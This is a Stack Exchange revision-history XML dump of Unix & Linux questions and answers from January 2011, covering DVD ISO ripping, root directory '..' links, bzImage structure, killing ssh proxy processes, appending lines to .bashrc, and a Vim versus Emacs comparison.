  <row Id="12859" PostHistoryTypeId="5" PostId="5476" RevisionGUID="23c58cec-58fb-4202-8b06-adb4bc139204" CreationDate="2011-01-12T02:14:08.217" UserId="138" Comment="clarity" Text="The only way to do everything you ask is to rip a disk image of the DVD and then play the image. Any other process which doesn't preserve the exact format of the disk will likely remove one or more of the features you're after because DVD is a very specific variant of the MPEG-2 standard. DVD player programs &amp;mdash; which you still have to use to interpret the menu information &amp;mdash; often depend on their input following the standard closely.&#xD;&#xA;&#xD;&#xA;There are lots of ways to rip a DVD image, enough that it's worth a separate question. A quick and dirty way to do it is from the command line:&#xD;&#xA;&#xD;&#xA;    $ dd if=/dev/scd0 of=my-movie.iso bs=2048&#xD;&#xA;&#xD;&#xA;Obviously you must substitute the correct DVD drive dev node if yours isn't mounted on `scd0`.&#xD;&#xA;&#xD;&#xA;Some media players can play ISO files directly, such as &lt;a href=&quot;http://www.videolan.org/&quot;&gt;VLC&lt;/a&gt; and &lt;a href=&quot;http://www.mplayerhq.hu/&quot;&gt;MPlayer&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;If you want to use a player that can't open ISO files itself, you can mount an ISO disk image as a virtual DVD. This is indistinguishable from a real DVD, from the player's perspective. I assume you are using Linux, where you use the loop device for this:&#xD;&#xA;&#xD;&#xA;    $ mkdir -p $HOME/virtualdvd&#xD;&#xA;    $ mount -t iso9660 -o loop my-movie.iso $HOME/virtualdvd&#xD;&#xA;&#xD;&#xA;Depending on the permissions on `/dev/loop?`, you might have to be root (or use `sudo`) to do the second step.&#xD;&#xA;&#xD;&#xA;Having done this, you point your DVD player program at that `virtualdvd` directory.&#xD;&#xA;&#xD;&#xA;Other *ixes usually have an equivalent mechanism to Linux's loop device, which may work a little differently.&#xD;&#xA;&#xD;&#xA;**EDIT**: If you can give up the interactive menu requirement, there are lots of alternatives:&#xD;&#xA;&#xD;&#xA; * **MPEG-2**: If you simply rip the VOB files from the DVD, you can concatenate them and feed them to anything that can play generic MPEG-2 files.&#xD;&#xA;&#xD;&#xA; You lose menuing because the result no longer conforms to the DVD spec. The data is still there in private sub-streams, but I'm not aware of any player that will interpret them when you reorganize the data this way.&#xD;&#xA;&#xD;&#xA; Beware that simply blindly concatenating VOB files isn't what you want anyway. You'll drag in things like the motion clip used behind the DVD menu, which is often stored as an independent VOB file. Sorting out which data to pull from which VOB file is one of the services provided by a DVD ripping program.&#xD;&#xA;&#xD;&#xA; * **MPEG-4 part 14**: This is the container format usually used by H.264 files.  It is based on the QuickTime format (see next), and so it shares a lot of its power. When you use a program like &lt;a href=&quot;http://handbrake.fr/&quot;&gt;Handbrake&lt;/a&gt; to rip a DVD to H.264, this is what you get. You can ask Handbrake to give you all the audio tracks, angles, etc. Your ability to see all this is limited only by the capabilities of the program you use to play it.&#xD;&#xA;&#xD;&#xA; * **QuickTime**: Supports any number of tracks, including subtitles, but there is no standard way to translate DVD menus to something a QuickTime player could understand. Apple's QuickTime player used to include Adobe Flash support, which could have been pressed into this use, but &lt;a href=&quot;http://www.oreillynet.com/mac/blog/2006/09/surprise_quicktime_713_disable.html&quot;&gt;Apple dropped that feature years ago&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA; * **MKV**: Like QuickTime, supports any number of audio and video tracks, plus subtitles.&#xD;&#xA;&#xD;&#xA; * **Ogg**: Pretty much the same as MKV, from a feature standpoint. There are a bunch of niggly technical differences but they don't matter for your purposes." />
  <row Id="12860" PostHistoryTypeId="2" PostId="5711" RevisionGUID="7c085801-2322-418f-a6f8-c2436238396f" CreationDate="2011-01-12T02:14:15.080" UserId="1049" Text="This just baffles me. Why does the root directory contain a reference to a parent directory?&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;bob@bob:/$ ls -a&#xD;&#xA;.     build  home            lib32       mnt   .rpmdb   sys  vmlinuz&#xD;&#xA;..    cdrom  initrd.img      lib64       opt   sbin     tmp  vmlinuz.old&#xD;&#xA;bin   dev    initrd.img.old  lost+found  proc  selinux  usr&#xD;&#xA;boot  etc    lib             media       root  srv      var&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I understand how directories are managed in the filesystem - each directory has n+2 pointers to itself. One for each immediate subdirectory, one for its parent, and one for itself.&#xD;&#xA;&#xD;&#xA;But what is `/`'s parent?" />
  <row Id="12861" PostHistoryTypeId="1" PostId="5711" RevisionGUID="7c085801-2322-418f-a6f8-c2436238396f" CreationDate="2011-01-12T02:14:15.080" UserId="1049" Text="Why does '/' have an '..' entry?" />
  <row Id="12862" PostHistoryTypeId="3" PostId="5711" RevisionGUID="7c085801-2322-418f-a6f8-c2436238396f" CreationDate="2011-01-12T02:14:15.080" UserId="1049" Text="éfilesystemsàédirectoryà" />
  <row Id="12863" PostHistoryTypeId="2" PostId="5712" RevisionGUID="e7be122d-f7eb-4593-b3d2-1bf3bbc9467e" CreationDate="2011-01-12T02:15:08.313" UserId="2871" Text="The description of the bzImage in wikipedia is really confusing me. &#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The bove picture is from wikipedia but the line next to it is :  &#xD;&#xA;&#xD;&#xA;&gt; The bzImage file is in a specific&#xD;&#xA;&gt; format: It contains concatenated&#xD;&#xA;&gt; bootsect.o + setup.o + misc.o +&#xD;&#xA;&gt; piggy.o.&#xD;&#xA;&#xD;&#xA;I cant find the other (misc.o and piggy.o) in the image.  &#xD;&#xA;I would also like to get more clarity on these object files.  &#xD;&#xA;&#xD;&#xA;The info on this post [http://lkml.indiana.edu/hypermail/linux/kernel/9909.3/0625.html][2] about why we cant boot a vmlinux file is also really confusing me.   &#xD;&#xA;&#xD;&#xA;Another doubt is regarding the System.map. How is it linked to the bzImage? I know it contains the symbols of vmlinux before creating bzImage. But then at the time of booting, how does bzImage get attached to the System.map?&#xD;&#xA;&#xD;&#xA;Please help with your ideas.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/JXbyA.png&#xD;&#xA;  [2]: http://lkml.indiana.edu/hypermail/linux/kernel/9909.3/0625.html" />
  <row Id="12864" PostHistoryTypeId="1" PostId="5712" RevisionGUID="e7be122d-f7eb-4593-b3d2-1bf3bbc9467e" CreationDate="2011-01-12T02:15:08.313" UserId="2871" Text="More doubts in bzImage" />
  <row Id="12865" PostHistoryTypeId="3" PostId="5712" RevisionGUID="e7be122d-f7eb-4593-b3d2-1bf3bbc9467e" CreationDate="2011-01-12T02:15:08.313" UserId="2871" Text="ébootàévmlinuxà" />
  <row Id="12866" PostHistoryTypeId="2" PostId="5713" RevisionGUID="e40bcd6d-4274-4a8e-bb33-dc6b440e094e" CreationDate="2011-01-12T02:28:15.620" UserId="138" Text="`/..` points to `/`:&#xD;&#xA;&#xD;&#xA;    $ ls -id /&#xD;&#xA;    2 /&#xD;&#xA;    $ ls -id /..&#xD;&#xA;    2 /..&#xD;&#xA;&#xD;&#xA;On this system, both have the same inode number, 2.&#xD;&#xA;&#xD;&#xA;It's done for consistency. This way, there doesn't have to be code in the kernel to check where it currently is when it processes a `..` in a path. You can say `cd ..` forever, and never go deeper than the root." />
  <row Id="12867" PostHistoryTypeId="5" PostId="5263" RevisionGUID="47dd7aae-1c51-4ab1-ae70-5f2232583ed2" CreationDate="2011-01-12T02:35:19.547" UserId="2946" Comment="Modified question to better fit the one answer, since it solves my problem (though it didn't answer the question as asked)" Text="I just added a 2nd monitor and I ran into that oh so typical issue where the monitors are swapped.&#xD;&#xA;&#xD;&#xA;Apparently, the 2nd monitor has been identified as &quot;monitor 0&quot; by X.org, but it's # 2 according to the ATI configuration applet.  (The applet numbers the monitors starting with 1, not 0.)  That said, this 2nd monitor is the first one listed by the applet.&#xD;&#xA;&#xD;&#xA;This concerns me, as I have run into issues on Windows with dual-monitors swapping randomly after reboots.  Moving the Gnome panels over was easy enough, if not exactly obvious.  However, I wonder about the possibility of other things using &quot;monitor 0&quot; when, in this case, I would expect them on &quot;monitor 1.&quot;&#xD;&#xA;&#xD;&#xA;So, can I control which monitor is considered primary?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12868" PostHistoryTypeId="4" PostId="5263" RevisionGUID="47dd7aae-1c51-4ab1-ae70-5f2232583ed2" CreationDate="2011-01-12T02:35:19.547" UserId="2946" Comment="Modified question to better fit the one answer, since it solves my problem (though it didn't answer the question as asked)" Text="Is it possible to control which monitor is considered the primary monitor?" />
  <row Id="12869" PostHistoryTypeId="2" PostId="5714" RevisionGUID="ff8659ba-7e0c-438e-9cec-dfb0dbebe090" CreationDate="2011-01-12T02:37:36.663" UserId="2871" Text="On behalf of this particular [question][1] I would like to know how directories are managed in the file system. What does the author of the above question mean by telling &#xD;&#xA;&#xD;&#xA;&gt; each directory has n+2 pointers to&#xD;&#xA;&gt; itself&#xD;&#xA;&#xD;&#xA;I would like to get more clarity and info on this.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5711/why-does-have-an-entry" />
  <row Id="12870" PostHistoryTypeId="1" PostId="5714" RevisionGUID="ff8659ba-7e0c-438e-9cec-dfb0dbebe090" CreationDate="2011-01-12T02:37:36.663" UserId="2871" Text="How are directories managed in the filesystem?" />
  <row Id="12871" PostHistoryTypeId="3" PostId="5714" RevisionGUID="ff8659ba-7e0c-438e-9cec-dfb0dbebe090" CreationDate="2011-01-12T02:37:36.663" UserId="2871" Text="éfilesystemsàédirectoryà" />
  <row Id="12872" PostHistoryTypeId="2" PostId="5715" RevisionGUID="3bd5fa8d-fdf0-4b1b-bc75-1f6a534aa4ae" CreationDate="2011-01-12T02:45:17.343" UserId="2119" Text="Is there an application to simply preview a font from a TTF file without installing it?" />
  <row Id="12873" PostHistoryTypeId="1" PostId="5715" RevisionGUID="3bd5fa8d-fdf0-4b1b-bc75-1f6a534aa4ae" CreationDate="2011-01-12T02:45:17.343" UserId="2119" Text="How to view a TTF font file?" />
  <row Id="12874" PostHistoryTypeId="3" PostId="5715" RevisionGUID="3bd5fa8d-fdf0-4b1b-bc75-1f6a534aa4ae" CreationDate="2011-01-12T02:45:17.343" UserId="2119" Text="éfontsàéttfà" />
  <row Id="12875" PostHistoryTypeId="2" PostId="5716" RevisionGUID="2c3fbc61-00ba-44ef-9b23-17f98cb6cd4b" CreationDate="2011-01-12T03:37:58.530" UserId="1071" Text="`gnome-font-viewer` (part of GNOME of course) can do this (this is the default association for fonts under GNOME); indeed, it comes with a button to install the font, which obviously wouldn't make sense if the font needed to be installed already.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://fontmatrix.net/node/21&quot;&gt;fontmatrix&lt;/a&gt; lets you organize groups of fonts to be installed or uninstalled, and you can preview them and see their features, whether installed or not.&#xD;&#xA;&#xD;&#xA;Most font editors, like &lt;a href=&quot;http://fontforge.sourceforge.net&quot;&gt;fontforge&lt;/a&gt;, certainly don't require the fonts to be installed to open them up and look at them...&#xD;&#xA;&#xD;&#xA;There are others, I'm sure.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12876" PostHistoryTypeId="5" PostId="5712" RevisionGUID="6eb31aea-e50a-4497-bb01-4245f0270f12" CreationDate="2011-01-12T03:38:04.403" UserId="73" Comment="deleted 80 characters in body; edited tags" Text="The description of the `bzImage` in Wikipedia is really confusing me. &#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The above picture is from Wikipedia, but the line next to it is:  &#xD;&#xA;&#xD;&#xA;&gt; The bzImage file is in a specific&#xD;&#xA;&gt; format: It contains concatenated&#xD;&#xA;&gt; bootsect.o + setup.o + misc.o +&#xD;&#xA;&gt; piggy.o.&#xD;&#xA;&#xD;&#xA;I can't find the others (`misc.o` and `piggy.o`) in the image.  &#xD;&#xA;I would also like to get more clarity on these object files.  &#xD;&#xA;&#xD;&#xA;The info on [this post][2] about why we can't boot a `vmlinux` file is also really confusing me. Another doubt is regarding the `System.map`. How is it linked to the `bzImage`? I know it contains the symbols of `vmlinux` before creating `bzImage`. But then at the time of booting, how does `bzImage` get attached to the `System.map`?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/JXbyA.png&#xD;&#xA;  [2]: http://lkml.indiana.edu/hypermail/linux/kernel/9909.3/0625.html" />
  <row Id="12877" PostHistoryTypeId="6" PostId="5712" RevisionGUID="6eb31aea-e50a-4497-bb01-4245f0270f12" CreationDate="2011-01-12T03:38:04.403" UserId="73" Comment="deleted 80 characters in body; edited tags" Text="ébootàévmlinuxàébzimageà" />
  <row Id="12878" PostHistoryTypeId="2" PostId="5717" RevisionGUID="676e6d09-874b-4643-ba2c-87bfec643110" CreationDate="2011-01-12T03:38:30.137" UserId="3194" Text="I want a script which kills the instance(s) of `ssh` which are run with the -D argument (setting up a local proxy).&#xD;&#xA;&#xD;&#xA;Manually, I do `ps -A | grep -i ssh`, look for the instance(s) with -D, and `kill -9 {id}` each one.&#xD;&#xA;&#xD;&#xA;But what does that look like in bash script form?&#xD;&#xA;&#xD;&#xA;(I am on Mac OS X but will install any necessary commands via `port`)" />
  <row Id="12879" PostHistoryTypeId="1" PostId="5717" RevisionGUID="676e6d09-874b-4643-ba2c-87bfec643110" CreationDate="2011-01-12T03:38:30.137" UserId="3194" Text="Bash script to find and kill a process with certain arguments?" />
  <row Id="12880" PostHistoryTypeId="3" PostId="5717" RevisionGUID="676e6d09-874b-4643-ba2c-87bfec643110" CreationDate="2011-01-12T03:38:30.137" UserId="3194" Text="ébashàéprocessà" />
  <row Id="12881" PostHistoryTypeId="2" PostId="5718" RevisionGUID="cf3db66b-82ce-4a05-8165-bdc1d950cf4b" CreationDate="2011-01-12T04:04:35.853" UserId="1338" Text="Run `pgrep -f &quot;ssh.*-D&quot;` and see if that returns the correct process ID.  If it does, simply change `pgrep` to `pkill` and keep the same options and pattern&#xD;&#xA;&#xD;&#xA;Also, you shouldn't use `kill -9` aka SIGKILL unless absolutely necessary because programs can't trap SIGKILL to clean up after themselves before they exit.  I only use `kill -9` after first trying `-1` `-2` and `-3`." />
  <row Id="12882" PostHistoryTypeId="2" PostId="5719" RevisionGUID="84e55552-ceb1-4f30-bf18-53034ffce7c5" CreationDate="2011-01-12T04:31:40.077" UserId="3598" Text="Hey all,&#xD;&#xA;&#xD;&#xA;I'm trying to learn more about library versioning in Linux and how to put it all to work. Here's the context:&#xD;&#xA;&#xD;&#xA;-- I have two versions of a dynamic library which expose the same set of interfaces, say `libsome1.so` and `libsome2.so`.&#xD;&#xA;&#xD;&#xA;-- An application is linked against `libsome1.so`.&#xD;&#xA;&#xD;&#xA;-- This application uses `libdl.so` to dynamically load another module, say `libmagic.so`.&#xD;&#xA;&#xD;&#xA;-- Now `libmagic.so` is linked against `libsome2.so`. Obviously, without using linker scripts to hide symbols in `libmagic.so`, at run-time all calls to interfaces in `libsome2.so` are resolved to `libsome1.so`. This can be confirmed by checking the value returned by `libVersion()` against the value of the macro `LIB_VERSION`.&#xD;&#xA;&#xD;&#xA;-- So I try next to compile and link `libmagic.so` with a linker script which hides all symbols except 3 which are defined in `libmagic.so` and are exported by it. This works... Or at least `libVersion()` and `LIB_VERSION` values match (and it reports version 2 not 1).&#xD;&#xA;&#xD;&#xA;-- However, when some data structures are serialized to disk, I noticed some corruption. In the application's directory if I delete `libsome1.so` and create a soft link in its place to point to `libsome2.so`, everything works as expected and the same corruption does not happen.&#xD;&#xA;&#xD;&#xA;I can't help but think that this may be caused due to some conflict in the run-time linker's resolution of symbols. I've tried many things, like trying to link `libsome2.so` so that all symbols are alised to `symbol@@VER_2` (which I am still confused about because the command `nm -CD libsome2.so` still lists symbols as `symbol` and not `symbol@@VER_2`)... Nothing seems to work!!! Help!!!!!!" />
  <row Id="12883" PostHistoryTypeId="1" PostId="5719" RevisionGUID="84e55552-ceb1-4f30-bf18-53034ffce7c5" CreationDate="2011-01-12T04:31:40.077" UserId="3598" Text="Linux, GNU GCC, ld, version scripts and the ELF binary format -- How does it work??" />
  <row Id="12884" PostHistoryTypeId="3" PostId="5719" RevisionGUID="84e55552-ceb1-4f30-bf18-53034ffce7c5" CreationDate="2011-01-12T04:31:40.077" UserId="3598" Text="élinuxàégccà" />
  <row Id="12885" PostHistoryTypeId="25" PostId="5711" RevisionGUID="71c8ed59-5d92-46e4-935e-448439ed00ca" CreationDate="2011-01-12T04:55:29.610" Comment="http://twitter.com/#!/StackUnix/status/25053227787493376" />
  <row Id="12886" PostHistoryTypeId="5" PostId="5712" RevisionGUID="3703d059-6f72-4e4a-be72-75b5ef4ede31" CreationDate="2011-01-12T04:57:09.243" UserId="2871" Comment="added 5 characters in body; edited tags" Text="The description of the `bzImage` in Wikipedia is really confusing me. &#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The above picture is from Wikipedia, but the line next to it is:  &#xD;&#xA;&#xD;&#xA;&gt; The bzImage file is in a specific&#xD;&#xA;&gt; format: It contains concatenated&#xD;&#xA;&gt; bootsect.o + setup.o + misc.o +&#xD;&#xA;&gt; piggy.o.&#xD;&#xA;&#xD;&#xA;I can't find the others (`misc.o` and `piggy.o`) in the image.  &#xD;&#xA;I would also like to get more clarity on these object files.  &#xD;&#xA;&#xD;&#xA;The info on [this post][2] about why we can't boot a `vmlinux` file is also really confusing me.  &#xD;&#xA;&#xD;&#xA;Another doubt is regarding the `System.map`. How is it linked to the `bzImage`? I know it contains the symbols of `vmlinux` before creating `bzImage`. But then at the time of booting, how does `bzImage` get attached to the `System.map`?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/JXbyA.png&#xD;&#xA;  [2]: http://lkml.indiana.edu/hypermail/linux/kernel/9909.3/0625.html" />
  <row Id="12887" PostHistoryTypeId="6" PostId="5712" RevisionGUID="3703d059-6f72-4e4a-be72-75b5ef4ede31" CreationDate="2011-01-12T04:57:09.243" UserId="2871" Comment="added 5 characters in body; edited tags" Text="ébootàébzimageàévmlinuxà" />
  <row Id="12888" PostHistoryTypeId="2" PostId="5720" RevisionGUID="88d03695-291a-4342-9c47-cba47c2ccc00" CreationDate="2011-01-12T05:34:43.377" UserId="732" Text="As far as I can tell, any directory that contains n sub-directories has n+2 links to itself.&#xD;&#xA;&#xD;&#xA;Every directory has a '.' entry that's a link to itself.&#xD;&#xA;Every directory's parent has a link to it.&#xD;&#xA;&#xD;&#xA;That's 2 links.&#xD;&#xA;&#xD;&#xA;Every sub-directory has a '..' in it, which is a link to the directory in question.  If your directory has n directories in it, that's n links.&#xD;&#xA;&#xD;&#xA;So a total of n+2 links to any given directory." />
  <row Id="12889" PostHistoryTypeId="2" PostId="5721" RevisionGUID="78106a64-3b4f-47dc-8f6d-e46e5559de7c" CreationDate="2011-01-12T06:58:18.000" UserId="2881" Text="Linux filesystems are all POSIX compliant and rely on an [inode pointer structure][1] to represent directory relations. Apart from the above Wikipedia link, you can have a look at the [POSIX inode description][2], or the IBM article on '[The anatomy of the Linux filesystem][3]'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Inode_pointer_structure&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Inode#POSIX_inode_description&#xD;&#xA;  [3]: http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/" />
  <row Id="12890" PostHistoryTypeId="25" PostId="5719" RevisionGUID="76079a70-5ac3-4624-91b9-8dc69290934a" CreationDate="2011-01-12T07:55:29.683" Comment="http://twitter.com/#!/StackUnix/status/25098527084388352" />
  <row Id="12891" PostHistoryTypeId="6" PostId="5712" RevisionGUID="60518823-e844-4ba5-b582-9636f3e8bea0" CreationDate="2011-01-12T08:11:37.093" UserId="885" Comment="edited tags" Text="élinuxàékernelàéexecutableàéfileöformatà" />
  <row Id="12892" PostHistoryTypeId="6" PostId="5719" RevisionGUID="035fddd5-3c51-4d52-9019-e353a5bcdfb7" CreationDate="2011-01-12T08:12:01.163" UserId="885" Comment="edited tags" Text="égccàédynamicölinkingàéelfà" />
  <row Id="12893" PostHistoryTypeId="2" PostId="5722" RevisionGUID="829c43a7-e14f-4147-8dae-cb2f54adc077" CreationDate="2011-01-12T08:15:23.920" UserId="885" Text="[Proctools](http://proctools.sourceforge.net/) includes `pgrep` and `pkill` and is available for OpenBSD and OSX. It hasn't been updated in a while, but it should still work (at least on OSX which rarely modifies its ABI).&#xD;&#xA;" />
  <row Id="12894" PostHistoryTypeId="2" PostId="5723" RevisionGUID="17e33a25-5a24-4810-ba6e-0edbdd6c4d34" CreationDate="2011-01-12T08:59:47.713" UserId="2496" Text="I am looking for a book about the Unix command-line toolkit (sh, grep, sed, awk, cut, etc.) that I read some time ago.  It was an excellent book, but I totally forgot its name.  The great thing about this specific book was the running example.  It showed how to implement a university bookkeeping system using only text-processing tools.  You would find a student by name with grep, update grades with sed, calculate average grades with awk, attach grades to IDs with cut, and so on.  If my memory serve, this book had a black cover, and was published circa 1980.&#xD;&#xA;&#xD;&#xA;Does anyone remember this book? I would appreciate any help in finding it." />
  <row Id="12895" PostHistoryTypeId="1" PostId="5723" RevisionGUID="17e33a25-5a24-4810-ba6e-0edbdd6c4d34" CreationDate="2011-01-12T08:59:47.713" UserId="2496" Text="Looking for an old classical Unix toolkit textbook" />
  <row Id="12896" PostHistoryTypeId="3" PostId="5723" RevisionGUID="17e33a25-5a24-4810-ba6e-0edbdd6c4d34" CreationDate="2011-01-12T08:59:47.713" UserId="2496" Text="éunixàétextöprocessingàébooksà" />
  <row Id="12897" PostHistoryTypeId="5" PostId="986" RevisionGUID="e824edb3-89c2-4213-8d96-759b960c721b" CreationDate="2011-01-12T09:21:10.543" UserId="688" Comment="deleted 256 characters in body" Text="How would you compare these editors? What are the pros and cons of each?&#xD;&#xA;&#xD;&#xA;[__note__] This is not meant to be answered by those who &quot;hate one and love another&quot; or those who haven't used both." />
  <row Id="12898" PostHistoryTypeId="5" PostId="1010" RevisionGUID="ac898805-d3b9-4e89-9ca4-0f6b2c2862f9" CreationDate="2011-01-12T09:25:09.057" UserId="688" Comment="edited body" Text="I use both, although if I had to choose one, I know which one I would pick. Still, I'll try to make an objective comparison on a few issues.&#xD;&#xA;&#xD;&#xA;* **Available everywhere?** If you're a professional system administrator who works with Unix systems, you need to know vi (not Vim), because it's available on all Unix systems and most Unix-like systems, whether desktop, server or embedded. For an ordinary user, this argument is irrelevant: Emacs is easily available for every desktop/server OS, and since it supports remote editing, it's enough to have it on your desktop machine anyway.&#xD;&#xA;&#xD;&#xA;* **Bloated?** Emacs once stood humorously for “Eight Megabytes And Constantly Swapping”. Right now, on my machine, Google Chrome needs about as much RAM per tab as Emacs does for 100 open files, and I won't even mention Firefox. In the 21st century, Emacs bloat is just a myth.&#xD;&#xA;&#xD;&#xA; *Feature* bloat isn't a problem either. If you don't use it, you don't have to know it's there. Emacs features keep out of the way when you don't use them and the documentation is very well organized.&#xD;&#xA;&#xD;&#xA;* **Startup time**: Vi(m) proponents complain about Emacs's startup time. Yes, Emacs is slow to start up, but this is not a big deal: you start Emacs once per session, then connect to the running process with `emacsclient`. So Emacs's slow startup is mostly a myth.&#xD;&#xA;&#xD;&#xA; There's one exception, which is when you log in to a remote machine and want to edit a file there. Starting a remote Emacs is slower than starting a remote Vim. In some situations you can keep an Emacs running inside Screen. You can also edit remote files from within Emacs, but it does break the flow if you're in an ssh session in a terminal. (Since XEmacs 21 or GNU Emacs 23, you can open an Emacs window from a running X instance inside a terminal.)&#xD;&#xA;&#xD;&#xA;* **Initial learning curve:** This varies from person to person. [Michael Mrozek's graph](http://unix.stackexchange.com/questions/986/vim-vs-emacs-and-no-this-is-not-a-flame-war/988#988) made me chuckle. Seriously, I agree that Vim's learning curve starts steep, steeper than any other editor, although this can be lessened by using gvim.&#xD;&#xA;&#xD;&#xA; Since I've dispelled a couple of Emacs myths, let me dispel a vi myth: a modal editor is not hard or painful to use. It takes a little habit, but after a while it feels very natural. If I was to redesign vi(m), I'd definitely keep the modes.&#xD;&#xA;&#xD;&#xA;* **Asymptotic learning curve:** Both Vim and Emacs have a lot of features, and you will keep discovering new ones after years of use.&#xD;&#xA;&#xD;&#xA;* **Productivity**: This is an extremely hard topic. Proponents of vi(m) argue that you can do pretty much everything without leaving the home row, and that makes you more efficient when you need it most. Proponents of Emacs retort that Emacs has a lot of commands that are not frequently used, so don't warrant a key binding, but are damn convenient when you need them ([obligatory xkcd reference](http://xkcd.com/378/)).  &#xD;&#xA; &lt;sub&gt;My personal opinion is that Emacs ultimately wins unless you have a typing disability (and even then you can configure Emacs to require only key sequences and not combinations like &lt;kbd&gt;Ctrl&lt;/kbd&gt;+letter). Home row keys are nice, but they often aren't that much of a win because you have to switch modes. I don't think there's anything Vim can do *significantly* more efficiently than Emacs, whereas the converse is true.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;* **Customizability**: Both editors are programmable, and there is an extensive body of available packages for both. However, Vim is an editor with a macro language; Emacs is an editor written in Lisp with some ad-hoc primitives. Emacs wins spectacularly when you try to do something that the authors just didn't think of. This doesn't happen every day, but it does accumulate over the years.&#xD;&#xA;&#xD;&#xA;* **More than an editor**: Vim is an editor. Emacs is not just an editor: it's also an IDE, a file manager, a terminal emulator, a web browser, a mail client, a news client, ... Whether that's a good thing or a bad thing is a matter for debate. But you can use Emacs as a mere editor (see “feature bloat” above).&#xD;&#xA;&#xD;&#xA;* **As an IDE**: Both Vim and Emacs have support for a lot of programming languages and other text formats. Beyond the basics such as syntactic coloring and automatic indentation, both have advanced IDE features such as code and documentation cross-reference lookups, assisted insertions and refactoring, integrated version control, and the ability to initiate a compilation and jump to the first error.&#xD;&#xA;&#xD;&#xA; One domain where Emacs is plain better than Vim is interaction with *asynchronous* subprocesses. That's when you start a long compilation and want to do something else inside the same editor instance while the compiler is churning. Or when you want to interact with a [Read-eval-print loop](http://en.wikipedia.org/wiki/Read-eval-print_loop) — Emacs really shines at this, Vim only has clumsy hacks to offer.&#xD;&#xA;" />
  <row Id="12899" PostHistoryTypeId="2" PostId="5724" RevisionGUID="f5135505-ce76-4e30-994b-04ddc7b83df9" CreationDate="2011-01-12T10:46:50.230" UserId="29" Text="I need to know if a file aready has line with contents X in it, if not append line. here's the code I've tried.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    if ! $(grep 'eval $(perl -I$HOME/foo/lib/perl5 -Mlocal::lib=$HOME/foo)' ~/.bashrc)&#xD;&#xA;    then&#xD;&#xA;        echo 'eval $(perl -I$HOME/foo/lib/perl5 -Mlocal::lib=$HOME/foo)' &gt;&gt; ~/.bashrc&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="12900" PostHistoryTypeId="1" PostId="5724" RevisionGUID="f5135505-ce76-4e30-994b-04ddc7b83df9" CreationDate="2011-01-12T10:46:50.230" UserId="29" Text="How do I check if a file already has line with &quot;contents&quot; in it?" />
  <row Id="12901" PostHistoryTypeId="3" PostId="5724" RevisionGUID="f5135505-ce76-4e30-994b-04ddc7b83df9" CreationDate="2011-01-12T10:46:50.230" UserId="29" Text="ébashàéshellàétextöprocessingà" />
  <row Id="12902" PostHistoryTypeId="25" PostId="5723" RevisionGUID="5cea64b8-45da-41f9-822d-388a8a404ca1" CreationDate="2011-01-12T10:55:29.627" Comment="http://twitter.com/#!/StackUnix/status/25143824397369344" />
  <row Id="12904" PostHistoryTypeId="5" PostId="554" RevisionGUID="db9691cd-da7d-4757-a42b-683cab1afe3b" CreationDate="2011-01-12T11:09:55.973" UserId="688" Comment="deleted 1 characters in body; edited title" Text="I would like to monitor one process's memory / cpu usage in real time. Similar to `top` but targeted at only one process, preferably with a history graph of some sort." />
  <row Id="12905" PostHistoryTypeId="4" PostId="554" RevisionGUID="db9691cd-da7d-4757-a42b-683cab1afe3b" CreationDate="2011-01-12T11:09:55.973" UserId="688" Comment="deleted 1 characters in body; edited title" Text="How to monitor a single process?" />
  <row Id="12906" PostHistoryTypeId="5" PostId="560" RevisionGUID="23332c1d-a43b-40bf-8f21-22ee4b0f17fa" CreationDate="2011-01-12T11:12:35.300" UserId="688" Comment="deleted 16 characters in body" Text="I normally use following two :&#xD;&#xA;&#xD;&#xA;1. [HP caliper][1]  : its very good tool for monitoring processes it you can check call graph and other low level information also. But please note its free only for personal use.&#xD;&#xA;&#xD;&#xA;2. [daemontools][2] : a collection of tools for managing UNIX services&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://h21007.www2.hp.com/portal/site/dspp/menuitem.863c3e4cbcdc3f3515b49c108973a801/?ciid=2908852bcbe02110852bcbe02110275d6e10RCRD&#xD;&#xA;  [2]: http://cr.yp.to/daemontools.html" />
  <row Id="12908" PostHistoryTypeId="2" PostId="5726" RevisionGUID="59151f79-3b80-4732-ac3b-04844b466988" CreationDate="2011-01-12T11:17:00.803" UserId="1946" Text="You may have better luck with `awk`'s `index` function: it's an equivalent of `strstr`, so should be well-suited for comparision (as opposed to `grep` which is for pattern matching)." />
  <row Id="12909" PostHistoryTypeId="2" PostId="5727" RevisionGUID="d3c108ca-d0e3-49f6-9baf-9d1b257e0680" CreationDate="2011-01-12T11:39:48.480" UserId="3082" Text="    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    LINE='eval $(perl -I$HOME/foo/lib/perl5 -Mlocal::lib=$HOME/foo)'&#xD;&#xA;    &#xD;&#xA;    if ! grep -qF &quot;$LINE&quot; file.txt ; then echo &quot;$LINE&quot; &gt;&gt; file.txt ; fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The $(...) will return the result of the command, not the errorlevel value. Use without command substitution to get the proper return code. " />
